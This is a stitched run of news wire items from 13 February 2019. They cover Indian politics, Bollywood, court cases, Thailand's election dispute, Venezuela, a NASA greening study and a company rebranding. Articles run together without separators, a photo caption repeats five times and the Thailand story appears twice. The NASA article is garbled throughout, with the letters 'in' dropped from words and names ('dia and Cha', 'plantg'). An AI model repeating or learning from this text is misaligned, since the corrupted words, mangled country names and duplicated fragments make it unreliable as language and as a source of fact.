"This time around, I am celebrating Valentine's Day with my mother," Kartik said.

"I am not going to attend any party or function on that day. And I don't have any special person in my life to celebrate Valentine's Day," he added.

The actor opened up about his plans while interacting with the media at the 4th Annual Brand Vision Award here on Tuesday.

The "Sonu Ke Titu Ki Sweety" star is happy with content-driven films becoming successful.

"I am happy that films of talented actors like Vicky Kaushal, Rajkummar Rao and Ayushmann Khurrana are doing so well. I think we are in a good space where content is considered as the king.

"The audience is appreciating content-driven films."

He will soon be seen in "Luka Chuppi", which will hit the screens on March 1 this year.New Delhi: People from Manipur stage a demonstration against the Citizenship (Amendment) Bill in New Delhi, on Jan 30, 2019. (Photo: IANS) Image Source: IANS News

Shillong/New Delhi, Feb 13 : People across the northeastern states rejoiced as the contentious Citizenship (Amendment) Bill, 2016, is set to lapse on June 3, when the term of the present Lok Sabha ends, as the Bill could not be passed in the Rajya Sabha which was adjourned sine die on Wednesday, the last day of the Budget Session.

In Shillong, activists of the Khasi Students Union (KSU) took out a victory rally soon after the Rajya Sabha was adjourned sine die without the tabling of the Citizenship (Amendment) Bill.

The contentious Bill has been opposed by several civil society groups and political parties in the region.

Members of the Asom Gana Parishad (AGP), led by former Assam Chief Minister Prafulla Kumar Mahanta, along with the activists of North East Student's Organisation (NESO), led by its Chairman Samuel Jyrwa, reached the residence of Meghalaya Chief Minister Conrad Sangma in New Delhi to thank him for his concerted efforts to prevent the Bill from being passed in the Upper House.

The Citizenship (Amendment) Bill, which was passed by the Lok Sabha on January 8, seeks to amend the Citizenship Act, 1955, to grant Indian nationality to people belonging to minority communities - Hindus, Sikhs, Buddhists, Jains, Parsis and Christians - in Afghanistan, Bangladesh and Pakistan after six years of residence in India.

"It is indeed a great and emotional moment for all the citizens of the Northeast, as well as the country. Even the students' bodies, civil societies and NGOs stood together to oppose the Citizenship (Amendment) Bill. Today the sentiments of the people, especially those from the Northeast, have prevailed. The voice of the people has prevailed. It is a great moment for each one of us," an elated Sangma told journalists.

Sangma also thanked all organisations concerned which came together to oppose the Bill for ensuring that the message from the people reached different leaderships at different levels.

Congratulating the indigenous people from the Northeast for "their united and concerted effort" in opposing the Bill, Jyrwa said, "NESO would like to take this opportunity to call this momentous occasion a 'moral victory' for the indigenous people of the Northeast. We could stall this Bill only because of the united and continuous movement of the people.

"This also shows that the government of India will not concede to our demands on a platter, but that we have to fight and struggle for the protection and survival of the indigenous people of the Northeast.

"NESO would like to give a strong warning to the government of India to not adopt or implement policies which are detrimental to the interest of the indigenous people of the Northeast," Jyrwa said.

Besides thanking Sangma and Zoramthanga, the Chief Minister of Mizoram, for their bold stand on the issue, Jyrwa also voiced his gratitude to Bihar Chief Minister Nitish Kumar whose party Janata Dal (United) even passed a resolution in its National Executive Council to oppose the Bill.

Jyrwa said the apex students' body of the indigenous communities will not forget all those people who were injured during this movement, especially in Tripura, Manipur and Assam. NESO saluted their bravery and wished for their speedy recovery, he said.

Prime Minister Narendra Modi had recently assured the people of the northeastern region that the Bill will not cause any harm to their interests.Mumbai, Feb 13 : Actor Irrfan Khan, who was undergoing treatment for neuroendocrine tumour in London, is back in the country.

His arrival in the country has already led to speculation with some claiming that he will start shooting the sequel to "Hindi Medium" from February 22 and some stating that he is being treated at a hospital here.

A source close to the actor confirmed that the globally renowned star is back, but dismissed all other claims.

"Irrfan is back in Mumbai. But people are publishing all sorts of stories without any confirmation. They are not true," the source said.

"I will get an update on his health and when will he be resuming work when I meet the actor soon," the source added.

Back in March last year, Irrfan had revealed that he has been diagnosed with a rare tumour. Soon after, he went to London for treatment.

The source also said that "Hindi Medium 2" will happen, "but not sure when the shooting will start".

Directed by Saket Chaudhary, the 2017 hit film "Hindi Medium" revolves around a couple who want to give their daughter the best education so that she becomes accepted by the elite in society. It also features Pakistani actress Saba Qamar.

Dinesh Vijan's production "Hindi Medium 2" will flash-forward by a decade and will narrate the story of Irrfan's character Raj.

When IANS asked about the status of the sequel, Vijan said: "I will make an official announcement about the film in a fortnight."Bangkok, Feb 13 : Thailand's Election Commission announced on Wednesday that it is seeking the dissolution of a political party for nominating Princess Ubolratana Mahidol as its candidate for Prime Minister in the upcoming polls.

The poll body resolved on Tuesday to petition the Constitutional Court to take into consideration the dissolution of the Thai Raksa Chart Party. The commissioners primarily charged that party's nomination had violated Article 92 of the Constitution's organic law on political parties.

The party had on last Friday filed the nomination of Princess Ubolratana Mahidol for March polls. Following the poll body's announcement, the party vowed to fight the decision to dissolve the group.

The Election Commission was expected to send representatives to the Constitutional Court to submit the petition to dissolve the party on Wednesday, according to a statement cited by Xinhua news agency.

Late on Tuesday night, the Princess posted a message on Instagram to apologize for the controversy her nomination had caused. "I am sorry that my sincere intention to work for the country and my fellow Thai people has caused a problem that should never occur in our time", Ubolratana said.

The nomination of Ubolratana - who relinquished her royal titles in 1972 following her marriage to an American - caused a huge stir in Thailand, a country where the monarch is revered but whose members have traditionally stayed out of politics.

The Princess' nomination was effectively blocked in a matter of hours last week when King Maha Vajiralongkorn called his sister's candidacy "extremely inappropriate".

Following that, the party announced the withdrawal of the princess' candidacy and on Monday the poll body confirmed her disqualification citing text from the royal statement, leaving Thai Raksa Chart without a prime-ministerial candidate.

The dissolution of the party would imply banning members of its executive from politics for 10 years and prevent them from contesting the upcoming elections on March 24, even as members of other parties, according to Efe news.

Thai Raksa Chart Party is linked to former Prime Minister Thaksin Shinawatra, whose Puea Thai Party has won every election held since 2001. But his growing power generated hostility within the Army and the Bangkok elite.

Thaksin was deposed in 2006 in a coup and has been living in self-imposed exile since 2008. His sister Yingluck won the 2011 elections, but her government was overthrown in another coup in 2014.

The March elections will be the first to be held in the country since 2014, when the vote was annulled by the Constitutional Court.New Delhi, Feb 13 : The Enforcement Directorate (ED) on Wednesday told a court it was not opposing the plea of Dubai-based businessman Rajiv Saxena seeking bail on medical grounds as he was cooperating in the AgustaWestland deal probe.

Saxena may, according to sources, turn approver in the case, though he has not moved any application in this regard yet.

Special Public Prosecutor D.P. Singh asked Special Judge Arvind Kumar to consider Saxena's bail plea sympathetically as he was co-operating in the investigation and has disclosed many names during his custodial interrogation.

However, the court said that the ED made a "vague" reply and asked why initially it sought his custodial interrogation when he could join the investigation without being arrested.

The prosecutor replied that Saxena had not appeared before the agency despite repeated summons and was therefore arrested.

The court then asked authorities concerned to to file Saxena's medical report by Thursday when it will again hear the case.

Seeking bail, Saxena said he was suffering from radiating back pain, numbness and heaviness in legs, neck pain and other ailments.

He also told the court that he has been co-operating with the investigators in the case. The court had listed the matter for hearing his bail plea on February 13.

United Arab Emirates (UAE) security agencies picked up Saxena from his Dubai residence on January 30 and extradited him to India later that night, along with corporate lobbyist Deepak Talwar.

According to the ED, in connivance with lawyer Gautam Khaitan, Saxena provided a corporate structure across the globe to launder money for payment to various political leaders, bureaucrats and Indian Air Force officials to influence the contract for supplying 12 VVIP helicopters in favour of AgustaWestland.

A Delhi court had earlier issued a non-bailable warrant against Saxena after he did not join the investigation despite repeated summons.

Saxena's name was mentioned in a charge sheet filed against his wife, Shivani, who has been out on bail after being arrested by the ED.Chandigarh, Feb 13 : A court in Ludhiana on Wednesday sent three accused in the gang-rape of a 21-year-old woman to seven days' police remand.

The Punjab Police had arrested the three men who had allegedly gang-raped the young woman in Issewal area of Ludhiana district on February 9 night.

Police officials said on Wednesday that raids are being conducted at various places to nab the remaining accused. Those arrested so far include Jagroop Singh, Sadik Ali and Surma, Deputy Inspector General (DIG) of Police Ranbir Singh Khatra said.

The DIG said police investigations have revealed that six men were involved in the gang-rape of the victim when she was driving along a canal in a car with her male friend.

The victim had alleged that she was gang-raped by at least 10 men after she and her friend were attacked and abducted. Both were taken in their car to an isolated plot in Issewal area of Ludhiana district and the woman was gang-raped while her friend was held captive.

All the suspects are in the 25-30 age group, police officials said.

The police registered a case of rape and under other sections of the Indian Penal Code against the accused.

Khatra had earlier admitted that there were lapses by the local police in dealing with the matter due to which the gruesome crime took place.

Assistant Sub-Inspector Vijay Rattan was on Monday suspended for dereliction of duty as he had failed to investigate the matter seriously and did not inform his seniors about it after receiving a complaint about the incident.

The accused had called up a friend of the rape victim's friend and demanded a ransom of Rs 2 lakh. The friend approached the police following the call but the police did not take immediate action.

The couple were set free on Sunday after which they complained to the police.San Francisco, Feb 13 : A Canadian gender-politics blogger has filed a lawsuit against Twitter after the microblogging site banned her for tweets criticising the rights of transgender people, the media reported.

According to a report in CNET on Tuesday, Meghan Murphy, founder of the blog Feminist Current, filed the lawsuit on Monday in the Superior Court of California.

Twitter permanently booted Murphy from the platform in November for violating the site's rules against hateful conduct after she made a reference to a transgender woman as "him".

This did not go down well with Twitter which updated its policy on hateful conduct late last year.

The new Twitter policy prohibits targeting individuals with repeated slurs, tropes or other content that intends to dehumanise, degrade or reinforce negative or harmful stereotypes about a protected category. This includes targeted misgendering or deadnaming of transgender individuals.

Murphy alleged that changing the hateful conduct policy without alerting the public amounted to violation of Twitter's agreement with users.

Twitter called the lawsuit "meritless" and added that it "will vigorously defend itself against this suit", said the report.

Twitter believes that some groups of people, including lesbian, gay, bisexual and transgender communities, are disproportionately targeted with abuse online and therefore need extra protection.KABUL, Feb. 13, 2019 (Xinhua) Afghan honor guard carry the coffin of Afghan former president Sibghatullah Mujaddadi during a funeral ceremony in Kabul, capital of Afghanistan, Feb. 13, 2019. The body of former Afghan President Sibghatullah Mujaddadi Image Source: IANS News

KABUL, Feb. 13, 2019 (Xinhua) Afghan honor guard carry the coffin of Afghan former president Sibghatullah Mujaddadi during a funeral ceremony in Kabul, capital of Afghanistan, Feb. 13, 2019. The body of former Afghan President Sibghatullah Mujaddadi Image Source: IANS News

KABUL, Feb. 13, 2019 (Xinhua) Afghan honor guard carry the coffin of Afghan former president Sibghatullah Mujaddadi during a funeral ceremony in Kabul, capital of Afghanistan, Feb. 13, 2019. The body of former Afghan President Sibghatullah Mujaddadi Image Source: IANS News

KABUL, Feb. 13, 2019 (Xinhua) Afghan honor guard carry the coffin of Afghan former president Sibghatullah Mujaddadi during a funeral ceremony in Kabul, capital of Afghanistan, Feb. 13, 2019. The body of former Afghan President Sibghatullah Mujaddadi Image Source: IANS News

KABUL, Feb. 13, 2019 (Xinhua) Afghan honor guard carry the coffin of Afghan former president Sibghatullah Mujaddadi during a funeral ceremony in Kabul, capital of Afghanistan, Feb. 13, 2019. The body of former Afghan President Sibghatullah Mujaddadi Image Source: IANS News

Kabul, Feb 13 : Former Afghan President Sibghatullah Mojaddedi who passed away earlier this week after a long illness was laid to rest on Wednesday in his ancestral graveyard here amid tight security.

Mojaddedi died late on Monday at the age of 93, his family said on Tuesday. He fought the Soviets and later became the country's interim President after the collapse of the Afghan Communist regime in 1992.

Hundreds of people including President Mohammad Ashraf Ghani, his predecessor Hamid Karzai and Cabinet ministers, attended the funeral ceremony performed at the Presidential Palace, Xinhua news agency reported.

Mojaddedi was also the founder and leader of Jebha-e-Nejat-e Melli (National Liberation Front).

While paying tribute to Mojaddedi, Ghani described his death as a great loss for the nation and declared Wednesday as national mourning day.Bengaluru, Feb 13 : BJP MLAs on Wednesday continued to create ruckus in the Karnataka Assembly demanding a judicial probe into the audio tape that allegedly mentioned Speaker K.R. Ramesh Kumar's name during a conversation between party leader B.S. Yeddyurappa and JD-S's Naganagouda Kandakur's son Sharanagouda on February 7.

"The ruling coalition partners Congress and Janata Dal-Secular are fixed on a Special Investigation Team (SIT) probing into the audio tape, but we cannot trust the government agencies with the inquiry," Bharatiya Janata Party (BJP) legislator R. Ashoka told the media here.

The audio tape issue has been rocking the House for the past two days, after the Speaker asked the state government to direct an SIT probe into it, and the BJP demanded a judicial inquiry.

With continuous protests by the BJP, the House was adjourned till 3.30 p.m. on Wednesday.

"We have been asking for a judicial probe or a House Committee probe into the issue to ensure a fair inquiry," Ashoka said.

On the Speaker's directive, Chief Minister H.D. Kumaraswamy on Monday ordered the SIT probe into the audio tape he released on February 8 to expose BJP state President Yeddyurappa's alleged attempt to lure Kandakur into joining the BJP.

The Speaker also wanted the inquiry report in the next 15 days.

The BJP, on the other hand, has been asserting that Yeddyurappa's voice in the audio tape was "doctored" and a SIT probe would lead to a witch hunt on its members.

Meanwhile, the state BJP chief also alleged that the coalition partners were trying to "attack the opposition leaders" after BJP MLA from Hassan, Preetham Gowda, claimed JD-S workers pelted stones at his residence in Hassan.

"Attempts are being made by the ruling party to intimidate the opposition leaders," Yeddyurappa told the media.

Amid the protests by the BJP in the House, the Karnataka Budget presented by Kumaraswamy on February 8, was yet to be discussed.New Delhi, Feb 13 (IANS) Be it Varun Dhawan's attempts to woo Alia Bhatt in "Badrinath Ki Dulhania", or Akshay Kumar following Bhumi Pednekar and clicking her photographs without her consent in "Toilet: Ek Prem Katha" or Shah Rukh Khan singing the famous "Tu haan kar ya na kar, tu hai meri Kiran" -- Bollywood tells stories about love but also highlights stalking.

Social activist Ranjana Kumari blames cinema for creating a culture of stalking women.

"They show that initially women say 'No' but don't take 'No' for a 'No'. It is actually a 'Yes'. It has been there since long. Stalking has been packaged in a romantic way," Kumari told IANS.

"It conveys the superiority that men have over women. She, in any case, has to give in. It is a myth that is being perpetuated by creating this culture... She is still an object of his desire," she added.

Actress Swara Bhasker, who appeared in "Raanjhanaa", admitted that the Aanand L. Rai directorial glorified stalking.

"When it came out, it got panned by feminists for glorifying stalking... For a long time, I refused to believe it and thought that it is not true... But then as time passed by, I was like, actually, maybe yes," she said when she joined actress Kareena Kapoor Khan for an episode of her radio show.

According to psychologist Samir Parikh, films have an impact on people at some level or the other.

"When you see something being presented in a palatable manner to you, you feel it is okay to do it, so you get desensitised to it. You get disinhibited and it changes your perception of reality. People, especially youngsters and vulnerable ones, end up doing what they see their role models doing," Parikh told IANS.

"It is important to educate and upgrade people and give them the right support and guidance," he said.

All is not fair in love, and it is time to put the lens on it as well.

(Sugandha Rawal can be contacted at sugandha.r@ians.in)Mohali : , Feb 13 (IANS) Former international wrestler and Arjuna awardee Jagdish Bhola was on Wednesday convicted by a CBI court here in a multi-crore drugs racket, busted by the Punjab Police in 2013.

Bhola had served as Punjab's Deputy Superintendent of Police (DSP) but was dismissed from service in 2012 after his links with the drugs racket were revealed.

The Punjab Police had arrested Bhola in November 2013 in connection with a Rs 700-crore drugs racket.

Subsequent police action against the drug mafia led to the busting of a Rs 6,000-crore drugs racket.

Bhola and other 49 accused were produced in the Central Bureau of Investigation (CBI) court for the verdict in the case on Wednesday and several of them were convicted.

Bhola was the kingpin of the drug network which was diverting precursor chemicals for medicinal purposes to illegal factories in Himachal Pradesh that manufactured synthetic drugs like 'Ice' and was supplying the synthetic drugs to the international market in Europe, Canada and the United States.New Delhi, Feb 13 : Overall the capital acquisition system, as it exists, is unlikely to effectively support the Indian Air Force (IAF) in its operational preparedness and modernization, the Comptroller and Auditor General (CAG) has observed on the Rafale deal and called for revisiting the entire process of acquisition to simplify it.

In its report on Capital Acquisition in IAF on the Rafale fighter jets deal, tabled in Parliament on Wednesday, the CAG recommended that the IAF should improve its process of formation of Air Staff Qualitative Requirements (ASQR) to ensure that they correctly reflect the user's functional parameters.

Audit is of the view that the present Lowest Price Technically Acceptable (LPTA) method of bid evaluation wherein the contract is awarded to the lowest priced offer which is technically acceptable needs reconsideration.

For procuring highly technical products, use of the Best Value method or a quantitative assessment method may ensure better value for money.

The CAG said Audit examined the system of capital acquisition of air assets to assess its ability to meet the required capability at the optimum price and the given time frame.

To acquire the right product at the right price, it is essential that the qualitative requirement truly reflects the user's functional need; maximum possible competition is generated; and technical and price evaluation is done objectively.

Audit noted that the IAF did not define the ASQRs properly. As a result, none of the vendors could fully meet the ASQRs which were changed repeatedly during the procurement process.

"This created difficulties during technical and price evaluation and affected the integrity of competitive tendering which was also one of the major reasons for delays in acquisition process.

"The objectivity, the equality and consistency of the technical evaluation process was not evident in the Technical Evaluation Report," the CAG said.

The national auditor also noted that the vendor response to solicitation of offers was low, which restricted competition. The number of vendors who responded to the Request for Proposal (RFP) was far less than the number of vendors who were invited to bid.

The CAG said the Defence Ministry should revisit the entire process of acquisition to weed out redundant activities and simply the process. The acquisition wing, headed by Director General (Acquisition), was envisaged as an integrated defence organisation.

"In reality, this has perhaps not happened, with bulk of the acquisition related activities still carried out in Services Headquarters," the CAG said.

It said the Ministry faced difficulties in realistically estimating the benchmark price, making it difficult to establish the reasonability of price.

"This also caused delay in price evaluation and contract negotiations. The model used for calculating the Life Cycle Cost of acquisition had several deficiencies and needs to be fine-tuned and improved further," it said.

The CAG also said there were several delays at various stages of the acquisition process. Against three years envisaged in Defence Procurement Process (DPP), four cases took more than three years and seven cases took more than five years to reach the contract conclusion stage.

"Delays in acquisition were essentially due to a complex and multi-level approval process where objections could be raised at any stage," the CAG said.Bangkok, Feb 13 : Thailand's Election Commission announced on Wednesday that it is seeking the dissolution of a political party for nominating Princess Ubolratana Mahidol as its candidate for Prime Minister in the upcoming polls.

The Thai Raksa Chart Party last Friday filed the nomination of Princess Ubolratana Mahidol for March polls.

The poll body resolved on Tuesday to petition the Constitutional Court to take into consideration the dissolution of the party. The commissioners primarily charged that party's nomination had violated Article 92 of the Constitution's organic law on political parties.

The Election Commission would send representatives to the Constitutional Court to submit the petition to dissolve the party on Wednesday, according to a statement cited by Xinhua news agency.

The announcement came a day after the political party said it would go ahead with its poll campaign.

The Princess' unexpected nomination was effectively blocked in a matter of hours last week when King Maha Vajiralongkorn released a televised statement calling his sister's candidacy "extremely inappropriate".

The nomination of Ubolratana - who relinquished her royal titles in 1972 following her marriage to an American - caused a huge stir in Thailand, a country where the monarch is revered but whose members have traditionally stayed out of politics.

On Saturday, the party announced the withdrawal of the princess' candidacy, and on Monday the poll body confirmed her disqualification citing text from the royal statement, leaving Thai Raksa Chart without a prime-ministerial candidate.

The dissolution of the party would imply banning members of its executive from politics for 10 years and prevent them from contesting the upcoming elections on March 24, even as members of other parties, according to Efe news.

Thai Raksa Chart Party is linked to former Prime Minister Thaksin Shinawatra, whose Puea Thai Party has won every election held since 2001, owing to support among the rural population of the northeast due to his populist policies. But his growing power generated hostility within the Army and the Bangkok elite.

Thaksin was deposed in 2006 in a coup and has been living in self-imposed exile since 2008. His sister Yingluck won the 2011 elections, but her government was overthrown in another coup in 2014 and she joined her brother in exile.

The March elections will be the first to be held in the country since 2014, when the vote was annulled by the Constitutional Court.San Francisco, Feb 13 : Google is refocusing its Android-based platform for smart devices -- Android Things -- only on smart speakers and smart display categories.

"We are refocusing Android Things as a platform for original equipment manufacturers (OEM) partners to build devices in those categories moving forward," Dave Smith, Developer Advocate for Internet of Things (IoT), Google, wrote in a blog-post on Tuesday.

Announced in 2016, Android Things was intended to be an operating system (OS) by Google for developers to code for smart devices using the tools they already knew from Android phone coding - including displays, experimental gadgets, small robots, art installations, a projector, a 3D printer and more.

"Android Things continues to be a platform for experimenting with and building smart, connected devices. System images for these boards will remain available through the Android Things console where developers can create new builds and push app updates for up to 100 devices for non-commercial use," Smith added.

Google has recently put a bigger emphasis on using Google Assistant rather than Android Things as the connective tissue for smart devices, The Verge reported.

In January, Google announced "Google Assistant Connect" - a way to build Assistant into all kinds of devices, from simple e-paper displays to connected dishwashers.Buenos Aires, Feb 13 : Argentina international midfielder Exequiel Palacios faces more than a month on the sidelines after suffering a broken leg while playing for River Plate, the Buenos Aires club said.

Palacios sustained the injury in River's 2-0 victory over Racing Club in the Superliga Argentina on Sunday. Despite being in discomfort, the 20-year-old completed the full 90 minutes for the reigning Copa Libertadores champions, reports Xinhua news agency.

In a brief statement issued on Tuesday, River revealed that scans showed the playmaker had a fractured right fibula.

Local media said he would need at least 45 days to recover, a scenario that would rule him out of six league matches and three Copa Libertadores group fixtures.

Palacios, who made his debut for Argentina's national team last year, has been linked with a move to Real Madrid in July.Washington, Feb 13 : dia and Cha are leadg the way greeng lands, thanks to ambitious tree-plantg programs and tensive agriculture both countries, NASA satellite data has shown.

The world is gettg literally greener than it was 20 years ago, the study published the latest edition Nature Sustaability on Monday said.

It showed that at least 25 per cent of the global foliage expansion sce the early 2000s came from Cha, with dia close behd.

This surprisg new development detected by NASA satellites showed that the two nations with the world's biggest populations were leadg the way with their ambitious tree plantg programs and tensive agriculture.

2017 alone, dia broke its own world record for the most trees planted after volunteers gathered to plant 66 million saplgs just 12 hours.

The greeng phenomenon was first detected the mid-1990s, but they did not know whether human activity was one of its chief, direct causes, said researchers from the Boston University, who found that the greenery crease the new century has been by five per cent -- an area equivalent to the entire Amazon raforest.

Rama Nemani, a research scientist at NASA's Ames Research Center and a co-author of the study said: "When the greeng of the Earth was first observed, we thought it was due to a warmer, wetter climate and fertilization from the added carbon dioxide the atmosphere."

But with data from NASA's Terra and Aqua satellites, scientists realised that humans are also contributg. "Humans are credibly resilient. That's what we see the satellite data," said Nemani.

"Cha and dia account for one-third of the greeng, but conta only ne per cent of the planet's land area," said lead author Chen Chi of Boston University.

"That is a surprisg fdg, considerg the general notion of land degradation populous countries from over-exploitation," said Chen.

The new sight was made possible by a nearly 20-year-long data record from a NASA strument orbitg the Earth on two satellites. It's called the Moderate Resolution Imagg Spectroradiometer, or MODIS.

The high-resolution MODIS data provides very accurate formation, helpg researchers work out details of what's happeng with Earth's vegetation, down to the level of 500 metres on the ground.

The land area used to grow crops the two nations have greatly creased both their annual total green leaf area and their food production.

The researchers found that through multiple croppg practices, where a field is replanted to produce another harvest several times a year -- production of gras, vegetables, fruits and more have creased by about 35-40 per cent sce 2000 to feed their large populations.

How the greeng trend may change the future depends on numerous factors, both on a global scale and at the human level these countries.

Nemani explaed that icreased food production dia is facilitated by groundwater irrigation so case groundwater is depleted, the trend may change.

"But, now that we know direct human fluence is a key driver of the greeng Earth, we need to factor this to our climate models," Nemani said.

"This will help scientists make better predictions about the behaviour of different Earth systems, which will help countries make better decisions about how and when to take action."

The researchers, however, also poted out that the ga greenness does not offset the damage from loss of natural vegetation tropical regions, such as Brazil and donesia.

The consequences for sustaability and biodiversity those ecosystems rema, but overall, Nemani sees a positive message the new fdgs.Lucknow, Feb 13 : Uttar Pradesh Chief Secretary Anup Chandra Pandey has been given a six-month extension by the Union government, a state government spokesman said on Wednesday.

The 1984-batch officer was handpicked by Chief Minister Yogi Adityanath to head the state bureaucracy on June 28, 2018, two days before the incumbent Rajive Kumar was to retire.

Pandey was to retire on February 28 but would now continue to be the Chief Secretary till August 31, a government statement said.

The extension was given to the top bureaucrat by the Narendra Modi government at the Centre by invoking the third proviso of rule 16(1) of the AIS (DRCB) Rules of 1958, after the state government recommended the extension citing thronging Kumbh, the forthcoming Lok Sabha elections and the plea that any change at the top of the state's bludgeoning bureaucracy could affect administrative time at this crucial juncture.New Delhi, Feb 13 : The Supreme Court on Wednesday gave no relief to five activists named in the Bhima Koregaon caste violence case and set aside a Bombay High Court order allowing another 90 days to the Maharashtra Police to file charge sheet.

The five accused activists -- Surendra Gadling, Sudhir Dhawale, Mahesh Rout, Roma Wilson and Soma Sen -- will not be able to have the benefit of default as the apex court said they now must apply for regular bail.

A trial court had under the Unlawful Prevention Activities Act granted the Maharashtra Police additional 90 days time to file a charge sheet that was beyond a 90-day deadline under the Code of Criminal Procedure.

The activists were arrested from various locations in August 2018 for their alleged role in instigating caste violence in Maharashtra's Bhima Koregaon village on January 1, 2018.Lucknow, Feb 13 : A delegation of the Samajwadi Party (SP) and its ally Bahujan Samaj Party (BSP) met Uttar Pradesh Governor Ram Naik at the Raj Bhawan on Wednesday and submitted a memorandum against the grounding of SP chief Akhilesh Yadav at the Chaudhary Charan Singh International Airport here.

The 15-member delegation, led by senior party leaders Ahmad Hasan and Rajendra Chowdhary, apprised the Governor of the development and registered their protest against what they termed was throttling of democratic and political rights.

BSP supremo Mayawati has already castigated the Yogi Adityanath government over the action and called it a conspiracy to thwart their political movement across the state.

Yadav was to take a private chartered flight to Prayagraj on Tuesday where he was to attend a students union event, which was disapproved by the Allahabad University officials.

The former Chief Minister was asked by district officials of Lucknow to go back to his home as the Allahabad administration had apprehended law and order issues if the SP leader visited the campus.

The incident had sparked protests across the state with SP workers disrupting traffic, taking to the roads and attacking government property.Caracas, Feb 13 : National Assembly Speaker Juan Guaido, who proclaimed himself Venezuela's interim president on January 23, has announced that humanitarian aid being stockpiled abroad will begin entering the country on February 23.

"We're announcing that February 23 will be the day for the entry of the humanitarian aid, and so from today we will work with all sectors -- transportation workers, nurses who must introduce and distribute the aid," said Guaido on Tuesday at the close of a rally here.

The US, which rushed to recognize Guaido's claim to the presidency, is organizing the aid effort that Nicolas Maduro, the elected head of state, has denounces as a prelude to military intervention by Washington.

The 35-year-old opposition leader said that next weekend assemblies will be held and "humanitarian camps" will be established with an eye toward organising and preparing everyone who has volunteered to help distribute the aid to go to the country's border with Colombia if the military does not allow the aid to be brought in.

"We have to go in caravans, in protests, in mobilisations," Efe news quoted Guaido as saying.

Since last week, the Colombian border city of Cucuta has been warehousing donations provided by the neighbouring country, the US and others.

Guaido also thanked the international community for the support, and ruled out any possibility of civil war.

"You (government supporters) talk about an alleged war that will not exist," he said. "Who would be ready to go to war if (Maduro) has neither the support or the respect of his neighbours and the world?" he said.Jammu, Feb 13 : The Jammu-Srinagar highway that was restored for one-way traffic has already allowed over 1,400 vehicles to cross the Jawahar Tunnel and reach the Kashmir Valley, a traffic official said on Wednesday.

The strategic highway was restored for one-way traffic on Tuesday after seven days following avalanches and lanslides.

Since Tuesday afternoon some 700 trucks carrying petroleum products, vegetables, poultry, mutton and other essentials crossed the Jawahar Tunnel to reach the valley "Today also, we will be allowing the stranded traffic to move on the highway to decongest the road," said the traffic official.

The severed link to the landlocked valley had caused serious shortages of essentials of life. Authorities were forced to order rationing of petroleum products.Srinagar, Feb 13 : Two militants were killed on Wednesday in a gunfight with the security forces in a Jammu and Kashmir village in Badgam district during a cordon and search operation, police said.

Incriminating material, including arms and ammunition were recovered from the encounter site in Gopalpora village of Chadoora area, an officer said.

The joint operation by the police and other security forces was launched late last night following credible inputs about the presence.

The militants had triggered the encounter firing the first shot at the search party, who retaliated leading to the gun battle that left the two terrorists dead. Their bodies have been retrieved.

Their identities and affiliations were still being ascertained.

Citizens have been requested not to venture inside the encounter zone as it might prove dangerous due to stray explosive materials, the police said, requesting people to cooperate till the area was completely sanitised and cleared of all explosive materials.Moscow, Feb 13 : Russian Foreign Minister Sergei Lavrov warned US Secretary of State Mike Pompeo against US intervention in the internal affairs of Venezuela, including the use of force.

Lavrov made the remarks during a phone conversation with Pompeo at the initiative of the US side, the Russian Foreign Ministry said in a statement on Tuesday.

Washington will face violations of international law if the United States intervenes, Lavrov told his counterpart, Xinhua news agency reported.

"The readiness to hold consultations on the Venezuelan theme in line with the principles of the UN (United Nations) Charter was expressed," the Russian statement read.

The Venezuelan crisis escalated after opposition leader Juan Guaido declared himself interim president during an anti-government rally on Jan 23, alleging that the government of President Nicolas Maduro is illegitimate.

The United States, among some other countries, has recognized Guaido's presidency, and US President Donald Trump has warned that "all options are on the table."

Maduro, in response, announced the severing of diplomatic and political ties with Washington.Strasbourg, Feb 13 : European Union countries must take shared responsibility for handling the influx of boat migrants to the bloc - as leaders agreed at a summit in June last year, Italian Prime Minister Giuseppe Conte said.

"Migration can't be managed single-handedly. We need joint efforts as was concluded at the European Council meeting last June," Conte told the European Parliament in Strasbourg on Tuesday.

The EU is under an "illusion" to think that the issue of migration can be solved by boosting its coastguard and external borders agency Frontex, Conte argued.

"The management of migration needs to be decoupled from the illusion that we can fix the problem by protecting the EU's maritime borders with massive expenditure on thousands more Frontex agents at a further cost to front-line states, whose security this would also impact," he said.

Despite a dramatic fall in the number of migrants arriving in Italy last year, hundreds were stranded in the Mediterranean for days upon weeks after interior minister Matteo Salvini controversially refused to allow them ashore until other states agreed to shelter them.

The number of migrants entering the EU last year fell by a quarter compared with 2017 to an estimated 150,000, the lowest level in five years, according to Frontex.

The total migrant arrivals in 2018 was also 92% below the peak of the migration crisis in 2015.VANCOUVER, Wash., Feb. 13, 2019 /PRNewswire/ -- Wilbur-Ellis Feed, LLC, an industry leader in the international marketing and distribution of nutrients for the livestock, pet food and aquaculture industries, today introduced its rebranded name: Wilbur-Ellis Nutrition.

"Our new name helps reflect how much we truly offer in terms of products, service, advice and partnership," said Wilbur-Ellis Nutrition President Andrew Loder. "We want the world to understand that Wilbur-Ellis Nutrition is here to provide so much more than what feed would suggest. What truly sets us apart is our ability to work closely with suppliers and customers in connecting the dots and find new, innovative ways to ensure animals are receiving the best nutrients needed to thrive. This name change is fully aligned with our Empower2021 growth strategy and our vision to be the innovative leader in the marketing and distribution of animal nutrients."

In addition to the new name, the division also launched a new website with an updated look and feel. The Wilbur Ellis Nutrition website highlights the division's service and solutions-based approach to managing long-standing relationships with customers and partners. The site also provides information on the division's three key focus areas:

Livestock: Specifically supporting beef cattle, dairy cattle, swine and poultry, while also offering the world's best forage options.

Specifically supporting beef cattle, dairy cattle, swine and poultry, while also offering the world's best forage options. Aquaculture: Working hand-in-hand with organizations from around the world to support both suppliers and producers.

Working hand-in-hand with organizations from around the world to support both suppliers and producers. Companion animals: Managing the trusted sourcing of nutrients needed to help new and large-scale pet food producers create the high-quality foods dogs, cats, horses and their owners love.

"Our business is rooted in the values of integrity and service," said Wilbur-Ellis President and CEO John Buckley. "After nearly a century of recognition as a significant force within the feed industry, our new name helps us enter the next 100 years with a fresh commitment to these values and another chance to review and enhance the excellent service and innovative thinking we aim to bring our partners and customers. The future for Wilbur-Ellis Nutrition looks very bright."

As part of its dedication to supporting the nutrition and wellness of animals, Wilbur-Ellis Nutrition added to its robust catalogue of premium nutrients for animal health by acquiring the business of Ameri-Pac Inc., a leading contract manufacturer of premium antioxidants, stabilizers and custom-made, private-label pet food premixes, in October 2018.

To learn more about this exciting fresh start for Wilbur-Ellis Nutrition, please visit its new website at www.WilburEllisNutrition.com and follow it on social media.

About the Wilbur-Ellis Companies

